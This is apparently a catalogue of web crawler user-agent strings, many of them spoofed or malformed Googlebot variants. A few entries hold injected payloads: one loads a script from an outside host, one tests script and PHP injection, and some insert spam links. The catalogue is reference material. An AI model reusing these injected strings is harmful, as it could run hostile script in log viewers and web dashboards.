Bot Mozilla/5.0 (compatible; Falconsbot; +http://iws.seu.edu.cn/services/falcons/contactus.jsp)

Bot Mozilla/5.0 (compatible; Falconsbot; +http://ws.nju.edu.cn/falcons/)

Bot Mozilla/5.0 (compatible; FAST Crawler 6.3)

Bot Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/crawler)

Bot Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml)

Bot Mozilla/5.0 (compatible; Feedtrace-bot/0.2; bot@feedtrace.com)

Bot Mozilla/5.0 (compatible; FindShare bot/3.0; +http://www.findshare.ru)

Bot Mozilla/5.0 (compatible; FirstSearchBot/1.0; +http://www.first-search.com/botsvsbrowsers.com.htm)

Bot Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot)

Bot Mozilla/5.0 (compatible; Galbot/1.0; +http://www.galbot.com/bot.html)

Bot mozilla/5.0 (compatible; genevabot +http://www.healthdash.com)

Bot Mozilla/5.0 (compatible; Gigamega.bot/1.0; +http://www.gigamega.net/bot.html)

Bot Mozilla/5.0 (compatible; Gooblebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Google Keyword Generator; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot-News/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2,1; http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2. 1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.; +1http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1

Bot Mozilla/5.0 (compatible; Googlebot/2.1 +http://googlebot.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1)

Bot Mozilla/5.0 (compatible; Googlebot/2.1+( +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html) Firefox/3.5.8

Bot Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html))

Bot Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)”

Bot Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.googlebot.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1+; +http://www.googlebot.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1+http://www.google.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1, +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1;

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) FirePHP/0.2.1

Bot Mozilla/5.0 (compatible; Googlebot/2.1; (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; + http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; + http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +hhtp://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http//www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http:/ /www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.htm)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googel.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/ bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) -

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) <script src=http://zexi.eu/k>&...

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AppEngine-Google; (+http://code.google.com/appe...

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6....

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AutoPager/0.5.2.2 (http://www.teesoft.info/)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AutoPager/0.6.0.20

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.0.5.26

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.1.2

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.2.1

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.2.4

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.3

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.4

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Gecko/20080313 SeaMonkey/1.1.9

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)fari/52950176.85

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Chrome/5.0)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Data Center; Mozilla/4.0 (compatible; MSIE 6.0;...

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Trident/4.0)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot/html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googlebot..com/html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googlebot.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; <script>alert('LOL'); </script><?php wtf(); ?...

Bot Mozilla/5.0 (compatible; Googlebot/2.1; hacked +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.ca/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html +)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html +),gzip(gfe) (via translate.google.com)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1; SeaMew Netwotk Service; http://sea-mew.jp/nox/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1; Verifying Googlebot - Webmaster Help Center)

Bot Mozilla/5.0 (compatible; Googlebot/2.1;+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html

Bot Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/10....

Bot Mozilla/5.0 (compatible; Googlebot/2.1;http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.1Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/2.4 +http://www.googlebot.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot/3.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Googlebot2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Goooglebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; GOZERBOT 0.9.2; http://www.gozerbot.org)

Bot Mozilla/5.0 (compatible; gsa-crawler/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; GurujiBot/1.0; +http://www.guruji.com/en/WebmasterFAQ.html)

Bot Mozilla/5.0 (compatible; Hailoobot/1.2; +http://www.hailoo.com/spider.html)

Bot Mozilla/5.0 (compatible; heritrix/${pom.version} +http://seekda.com)

Bot Mozilla/5.0 (compatible; heritrix/${pom.version} +http://www.adsafemedia.com)

Bot Mozilla/5.0 (compatible; heritrix/${pom.version} +http://www.deri.ie/)

Bot Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://vermut.aol.com)

Bot Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.advertising.com)

Bot Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.kingsoft.com)

Bot Mozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/)

Bot Mozilla/5.0 (compatible; heritrix/1.10.2 +http://www.zvents.com/)

Bot Mozilla/5.0 (compatible; heritrix/1.12.0 +http://seekda.com)

Bot Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.accelobot.com)

Bot Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.zvents.com/; +zbot)

Bot Mozilla/5.0 (compatible; heritrix/1.12.1 +http://curiousgeorge.info)

Bot Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com)

Bot Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com]

Bot Mozilla/5.0 (compatible; heritrix/1.14.1 +http://europarchive.org)

Bot Mozilla/5.0 (compatible; heritrix/1.14.1 +http://www.padi.cat)

Bot Mozilla/5.0 (compatible; heritrix/1.14.2 yptrino +http://www.buddybuzz.com/yptrino)

Bot Mozilla/5.0 (compatible; heritrix/1.14.2 yptrino +http://www.buddybuzz.net/yptrino)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3 +http://rjpower.org)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.accelobot.com)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.toofaan.com)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.uniroma2.it)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3.r6601 +http://www.buddybuzz.net/yptrino)

Bot Mozilla/5.0 (compatible; heritrix/1.14.3.r6601+http://www.buddybuzz.net/yptrino)

Bot mozilla/5.0 (compatible; heritrix/1.14.4 +http://archive.crawler.org)

Bot Mozilla/5.0 (compatible; heritrix/1.14.4 +http://boston.lti.cs.cmu.edu/crawler)

Bot Mozilla/5.0 (compatible; heritrix/1.14.4 +http://www.nestor.uniroma2.it)

Bot Mozilla/5.0 (compatible; heritrix/1.15.1-200807172326 +http://www.accelobot.com)

Bot Mozilla/5.0 (compatible; heritrix/1.5 +http://www.metacarta.com)

Bot Mozilla/5.0 (compatible; heritrix/1.5.0 +http://www.l3s.de/~kohlschuetter/projects/crawling/)

Bot Mozilla/5.0 (compatible; heritrix/1.6.0 +http://innovationblog.com)

Bot Mozilla/5.0 (compatible; heritrix/1.6.0 +http://www.worio.com/)

Bot Mozilla/5.0 (compatible; heritrix/1.6.0 +http://yahoo.com)

Bot Mozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/)

Bot Mozilla/5.0 (compatible; heritrix/1.8.0 +http://crawlerx51.com)

Bot Mozilla/5.0 (compatible; heritrix/1.8.0 +http://wiki.office.aol.com/wiki/SEO)

Bot Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.accelobot.com)

Bot Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.business.com)

Bot Mozilla/5.0 (compatible; heritrix/2.0.0 +http://www.aol.com)

Bot Mozilla/5.0 (compatible; heritrix/2.0.0 +http://www.mariamosolova.com)

Bot Mozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com)

Bot Mozilla/5.0 (compatible; heritrix/2.0.1 +http://fake.example.com/crawlerselftest/)

Bot Mozilla/5.0 (compatible; heritrix/2.0.1 +http://www.deri.ie/)

Bot Mozilla/5.0 (compatible; heritrix/2.0.1 +http://www.sindice.com/)

Bot Mozilla/5.0 (compatible; heritrix/2.0.2 +http://aihit.com)

Bot Mozilla/5.0 (compatible; heritrix/2.0.2 +http://localhost)

Bot Mozilla/5.0 (compatible; heritrix/2.0.2 +http://www.ellerdale.com/crawler.html)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0 +http://archive.org)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0 +http://crawler.chug.net)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0 +http://dataclip.com/crawler.html)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0 +http://www.dataclip.com)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0 +http://www.run4dom.com)

Bot Mozilla/5.0 (compatible; heritrix/3.0.0-SNAPSHOT-20091120.021634 +http://crawler.archive.org)

Bot Mozilla/5.0 (compatible; heritrix/3.1.1-SNAPSHOT-20100928.230034 +http://www.dataclip.com)

Bot Mozilla/5.0 (compatible; heritrix/UNKNOWN +http://www.adsafemedia.com)

Bot Mozilla/5.0 (compatible; HiveCrawler/1.2 http://www.businessinsider.com)

Bot Mozilla/5.0 (compatible; Host-Spy Crawler/1.2; +http://www.host-spy.com/)

Bot Mozilla/5.0 (compatible; http://www.google.com/bot.html +; Googlebot/2.1)

Bot Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ )

Bot Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0)

Bot Mozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html)

Bot Mozilla/5.0 (compatible; Internetbot/1.4; +http://www.internet.cc/bot.html)

Bot Mozilla/5.0 (compatible; JadynAveBot; +http://www.jadynave.com/robot

Bot Mozilla/5.0 (compatible; JadynAveBot; +http://www.jadynave.com/robot)

Bot Mozilla/5.0 (compatible; Jeanie_2008_bot/3.2; +http://www.quickengines.com)

Bot Mozilla/5.0 (compatible; JP12bot/1.0; +http://www.jp12.net/bot.html)

Bot Mozilla/5.0 (compatible; justanotherbot/0.1; )

Bot Mozilla/5.0 (compatible; KaloogaBot; http://www.kalooga.com/info.html?page=crawler)

Bot Mozilla/5.0 (compatible; kmbot-3dc1/0.0; +http://knowmore.com/bots)

Bot Mozilla/5.0 (compatible; kmbot-62c5/0.0; +http://knowmore.com/bots)

Bot Mozilla/5.0 (compatible; kmkybot/0.1; af@kilomonkey.com)

Bot Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)

Bot Mozilla/5.0 (compatible; Kyluka crawl; crawl@kyluka.com; http://www.kyluka.com/static/crawl.html)

Bot Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/crawl.html; crawl@kyluka.com)

Bot Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/static/crawl.html; crawl@kyluka.com)

Bot Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html)

Bot Mozilla/5.0 (compatible; MarketDefenderBot/2.0; +http://www.marketdefender.com/bot.html)

Bot Mozilla/5.0 (compatible; MarketwireBot/1.0; +http://www.marketwire.com)

Bot Mozilla/5.0 (compatible; Mediapartners-Google/2.1; +http://www.google.com/bot.html)".

Bot Mozilla/5.0 (compatible; MileNSbot/0.1beta; http://www.milens.net/robotstxt.html)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.2.1; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.2.2; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.2.5; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.3.0; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.3.1; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.3.2; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MJ12bot/v1.3.3; http://www.majestic12.co.uk/bot.php?+)

Bot Mozilla/5.0 (compatible; MojeekBot/0.2; http://www.mojeek.com/bot.html#relaunch)

Bot Mozilla/5.0 (compatible; MojeekBot/0.2; http://www.mojeek.com/bot.html)

Bot Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)

Bot Mozilla/5.0 (compatible; mozbot)

Bot Mozilla/5.0 (compatible; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; Mp3Bot/0.5; +http://mp3realm.org/mp3bot/)

Bot Mozilla/5.0 (compatible; Mp3Bot/0.6; +http://mp3realm.org/mp3bot/)

Bot Mozilla/5.0 (compatible; Mp3Bot/0.7; +http://mp3realm.org/mp3bot/)

Bot Mozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net)

Bot Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Turn Network; crawl@turn.com)

Bot Mozilla/5.0 (compatible; MSIE 6.0; Windows XP) <a href=http://igrayka.info>Čăđű äë˙ äĺňĺé</a&gt...

Bot Mozilla/5.0 (compatible; MSIE 6.0; Windows XP) Čăđŕéęŕ <a href=http://igrayka.info>ňóň</a>

Bot Mozilla/5.0 (compatible; MSIE 6.0b; Windows NT 5.0) Gecko/2009011913 Firefox/3.0.6 TweetmemeBot

Bot Mozilla/5.0 (compatible; MSIE 7.0; MSIE 6.0; ScanAlert; http://www.scanalert.com/bot.jsp) Firefox/2.0.0.3

Bot Mozilla/5.0 (compatible; MSIE 7.0; MSIE 6.0; ScanAlert; +http://www.scanalert.com/bot.jsp) Firefox/2.0.0.3

Bot Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) AppEngine-Google; (+http://code.google.com/appengine; ap...

Bot Mozilla/5.0 (compatible; musobot/1.0; info@muso.com; +http://www.muso.com)

Bot Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)

Bot Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com)

Bot Mozilla/5.0 (compatible; Nigma.ru/3.0; crawler@nigma.ru)

Bot Mozilla/5.0 (compatible; No-NSFW Bot; +http://nonsfw.com/)

Bot Mozilla/5.0 (compatible; oBot/2.3.1; +http://www-935.ibm.com/services/us/index.wss/detail/iss/a1029077?cntxt=a1027244)

Bot Mozilla/5.0 (compatible; OpenX Spider; http://www.openx.org)

Bot Mozilla/5.0 (compatible; OsO; http://oso.octopodus.com/abot.html)

Bot Mozilla/5.0 (compatible; ourGlocalbot/1.0; +http://rank10.org/bot.html)

Bot Mozilla/5.0 (compatible; OWPBot/0.3; http://www.openwhitepages.com/)

Bot Mozilla/5.0 (compatible; page-store +http://www.page-store.com) [email:paul@page-store.com]

Bot Mozilla/5.0 (compatible; PaperLiBot/2.1)

Bot Mozilla/5.0 (compatible; PaxleFramework/0.1.0; +http://www.paxle.net/en/bot)

Bot Mozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/)

Bot Mozilla/5.0 (compatible; perl.bot/1.1; mailto:supportgigamega@gmail.com)

Bot mozilla/5.0 (compatible; pips_priority_crawler/0.1 +http://www.eti.pg.gda.pl/)

Bot Mozilla/5.0 (compatible; Plukkie/1.1; http://www.botje.com/plukkie.htm)

Bot Mozilla/5.0 (compatible; Plukkie/1.2; http://www.botje.com/plukkie.htm)

Bot Mozilla/5.0 (compatible; Plukkie/1.3; http://www.botje.com/plukkie.htm)

Bot Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)

Bot Mozilla/5.0 (compatible; PrintfulBot/1.0; +http://printful.com/bot.html)

Bot Mozilla/5.0 (compatible; ptd-crawler; +http://bixolabs.com/crawler/ptd/; crawler@bixolabs.com)

Bot Mozilla/5.0 (compatible; Purebot/1.1; +http://www.puritysearch.net/)

Bot Mozilla/5.0 (compatible; pycurl)

Bot Mozilla/5.0 (compatible; Qualidator.com Bot 1.0;)

Bot Mozilla/5.0 (compatible; Quantcastbot/1.0; +http://www.quantcast.com/bot.html)

Bot Mozilla/5.0 (compatible; Quantcastbot/1.0; www.quantcast.com)

Bot Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback)

Bot Mozilla/5.0 (compatible; Rexyobot/1.09; +http://www.rexyo.com/robot.html)

Bot Mozilla/5.0 (compatible; Rexyobot/2.03; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; Rexyobot/2.04; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; RexyoBot/2.1.17; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; RexyoBot/2.1.18; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; RexyoBot/2.1.20; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; rexyobot/2.12; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; Rexyobot/2.13; +http://www.rexyo.com)

Bot Mozilla/5.0 (compatible; Robot/1.X)

Bot Mozilla/5.0 (compatible; RssFetcherBot; +http://www.perdu.com)

Bot Mozilla/5.0 (compatible; RSSMicro.com RSS/Atom Feed Robot)

Bot Mozilla/5.0 (compatible; scaredFox/0.3b; +http://crawlers.tdmsic.org/scaf_crawler.htm)

Bot Mozilla/5.0 (compatible; scaredFox/0.4b; +http://crawlers.tdmsic.org/scaf_crawler.htm)

Bot Mozilla/5.0 (compatible; scaredFox/0.5b; +http://crawlers.tdmsic.org/scaf_crawler.htm)

Bot Mozilla/5.0 (compatible; Scarlett/ 1.0; +http://www.ellerdale.com/crawler.html)

Bot Mozilla/5.0 (compatible; Search17Bot/1.1; http://www.search17.com/bot.php)

Bot Mozilla/5.0 (compatible; SecretSerachEngineLabs.com-SBSearch/0.9; http://www.secretsearchenginelabs.com/secret-web-crawl...

Bot Mozilla/5.0 (compatible; Seesaa Slurp/1.0; en-US; rv:1.0.0.1 http://star-akina.seesaa.net/)

Bot Mozilla/5.0 (compatible; seexie.com_bot/4.1; +http://www.seexie.com)

Bot Mozilla/5.0 (compatible; Semager/1.4; http://www.semager.de/blog/semager-bots/)

Bot Mozilla/5.0 (compatible; SERPAnalytics; +http://www.serpanalytics.com/docs/bot)

Bot Mozilla/5.0 (compatible; sgbot v0.01a, sgcrawlerbot@gmail.com)

Bot Mozilla/5.0 (compatible; sindice-fetcher/0.1.0 +http://sindice.com/developers/bot)

Bot Mozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/)

Bot Mozilla/5.0 (compatible; slow-crawler +http://casr.ou.edu)

Bot Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9

Bot Mozilla/5.0 (compatible; Snappybot/0.1)

Bot Mozilla/5.0 (compatible; spbot/1.0; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/1.1; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/1.2; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/2.0.1; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/2.0.2; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/2.0.3; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/2.0.4; +http://www.seoprofiler.com/bot )

Bot Mozilla/5.0 (compatible; spbot/2.0; +http://www.seoprofiler.com/bot/ )

Bot Mozilla/5.0 (compatible; spbot/2.1; +http://www.seoprofiler.com/bot )

Bot Mozilla/5.0 (compatible; spbot/3.0; +http://www.seoprofiler.com/bot )

Bot Mozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/)

Bot Mozilla/5.0 (compatible; Steeler/3.4; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)

Bot Mozilla/5.0 (compatible; Steeler/3.5; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)

Bot Mozilla/5.0 (compatible; SuchbaerBot/0.4.3a; +http://bot.suchbaer.de/info.html)

Bot Mozilla/5.0 (compatible; SuchbaerBot/0.4.X; +http://bot.suchbaer.de/info.html)

Bot Mozilla/5.0 (compatible; SuchbaerBot/0.4; +http://bot.suchbaer.de/info.html)

Bot Mozilla/5.0 (compatible; SuchbaerBot/0.6; +http://bot.suchbaer.de/info.html)

Bot Mozilla/5.0 (compatible; SuchbaerBot/0.83; +http://bot.suchbaer.de/info.html)

Bot Mozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/)

Bot Mozilla/5.0 (compatible; SummizeBot +http://www.summize.com)

Bot Mozilla/5.0 (compatible; Supendobot/0.2; +http://www.supendo.com/bot.html

Bot Mozilla/5.0 (Compatible; Supybot 0.83.4.1)

Bot Mozilla/5.0 (Compatible; Supybot 0.83.4.1+git)

Bot Mozilla/5.0 (Compatible; Supybot 0.83.4.1+gribble (2011-03-13T14:21:46-0400))

Bot Mozilla/5.0 (compatible; Tagoobot/3.0; +http://www.tagoo.ru)

Bot Mozilla/5.0 (compatible; TheLittleEngineThatCouldSnoopAround-Bot/0.0.12)

Bot Mozilla/5.0 (compatible; Thumbshots.ru; +http://thumbshots.ru/bot)

Bot Mozilla/5.0 (compatible; trovitBot/1.0; +http://www.trovit.com/bot.html)

Bot Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)

Bot Mozilla/5.0 (compatible; VDBot/1.0; +http://www.bvdep.com/)

Bot Mozilla/5.0 (compatible; vermut +http://vermut.aol.com)

Bot Mozilla/5.0 (compatible; VH Bot/1.0;)

Bot Mozilla/5.0 (compatible; VideoSurf_bot +http://www.videosurf.com/bot.html)

Bot Mozilla/5.0 (compatible; Viralheat Bot/1.0; +http://www.viralheat.com/)

Bot Mozilla/5.0 (compatible; Webbot/0.1; http://www.webbot.ru/bot.html)

Bot Mozilla/5.0 (compatible; WebDataCentreBot/1.0; +http://WebDataCentre.com/)

Bot Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx)

Bot Mozilla/5.0 (compatible; Windows NT 6.0) Gecko/20090624 Firefox/3.5 NjuiceBot

Bot Mozilla/5.0 (compatible; Windows) AppEngine-Google; (+http://code.google.com/appengine; appid: unmask-parasites)

Bot Mozilla/5.0 (compatible; woriobot +http://worio.com)

Bot Mozilla/5.0 (compatible; woriobot heritrix/1.10.0 +http://worio.com)

Bot Mozilla/5.0 (compatible; woriobot support [at] worio [dot] com +http://worio.com)

Bot Mozilla/5.0 (compatible; X11; Linux x86; en-US; ppclabs_bot/1.0) http://operations.ppclabs2.com for abuse report

Bot Mozilla/5.0 (compatible; X11; U; Linux i686 (x86_64); en-US; <a href=http://gnomit.com/>Gnomit</a&a...

Bot Mozilla/5.0 (compatible; XmarksFetch/1.0; +http://www.xmarks.com/about/crawler; info@xmarks.com)

Bot Mozilla/5.0 (compatible; xrss; robot; http://www.xrss.eu/robot; version 2.0)

Bot Mozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp/3.0 ; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp/si-emb; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://abwc.iespana.es/forum/index.php)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearc

Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) AppEngine-Google; (+http://code.goog...

Bot Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) AutoPager/0.5.2.2 (http://www.teesof...

